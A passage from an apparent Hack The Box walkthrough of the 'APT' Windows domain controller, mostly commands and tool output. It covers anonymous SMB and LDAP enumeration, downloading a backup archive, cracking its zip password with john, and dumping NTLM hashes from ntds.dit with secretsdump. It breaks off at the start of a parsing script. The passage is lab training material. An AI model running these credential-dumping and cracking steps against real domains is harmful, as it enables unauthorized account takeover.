class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; apt.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Not a single permission was available.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;389 LDAP&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 -6 apt.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| dnsHostName: apt.htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| ldapServiceName: htb.local:apt$@HTB.LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=DomainDnsZones,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=ForestDnsZones,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| defaultNamingContext: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| configurationNamingContext: CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| rootDomainNamingContext: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The domain was htb.local, so I needed to update the domain in my hosts file. Without authentication, I had no permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;445 SMB&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; htb.local &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //htb.local &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //htb.local &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;Sharename Type Comment&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;--------- ---- -------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;backup Disk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;IPC$ IPC Remote IPC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;NETLOGON Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;SYSVOL Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;htb.local is an IPv6 address -- no workgroup available&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] Attempting to map shares on htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/backup&#9;Mapping: OK Listing: OK Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/IPC$&#9;Mapping: OK Listing: DENIED Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[E] Can&amp;#39;t understand response:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/NETLOGON&#9;Mapping: N/A Listing: N/A Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[E] Can&amp;#39;t understand response:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/SYSVOL&#9;Mapping: N/A Listing: N/A Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was all the information I had. Based on the output, the accessible shares were backup and IPC$.&lt;/p&gt;&#10;&lt;p&gt;There was a 1 GB backup.zip inside backup. The download was too slow and disconnected immediately, and after that I tried accessing it several more times.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect anymore. Restarting the machine fixed it. I started looking for an SMB download command that wouldn&amp;rsquo;t disconnect midway through.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbget -R smb://htb.local/backup # This requires an IP address instead of a domain name, so it fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t cifs //htb.local/backup/ ./backup&#9;# This also fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For the standard domain penetration workflow I&amp;rsquo;d learned, the only thing left was a DNS query on port 53, so I moved on to that.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;53 DNS&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That didn&amp;rsquo;t work, so I went back and brute-forced port 80 again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was absolutely no difference. I was now one hundred percent sure there was something inside backup.zip on the 445 share. I checked the errors and tried downloading it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files" target="_blank" rel="noopener"&#10; &gt;https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That post offered several solutions. The command below successfully downloaded the file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -m SMB2 -N &amp;#39;//htb.local/backup&amp;#39; -c &amp;#39;timeout 120; iosize 16384; get backup.zip&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It required a password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip &amp;gt; passwd.hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NOTE: It is assumed that all files in each archive have the same password.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If that is not the case, the hash may be uncrackable. To avoid this, use&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;option -o to pick a file at a time.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only the important files required a password: ntds.dit, SYSTEM, and SECURITY.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip &amp;gt; passwd.hash -o ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Put the hash above into a file, then crack it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john ./hash --wordlist=/usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using default input encoding: UTF-8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Loaded 1 password hash (PKZIP [32/64])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Will run 8 OpenMP threads&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iloveyousomuch (backup.zip)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session completed.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Next I just needed to extract the NTLM hashes, and since WinRM was open, I should have been able to log straight in.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL &amp;gt; htlm.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were loads of accounts. I first extracted them, then prepared to brute-force them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp_htlm = 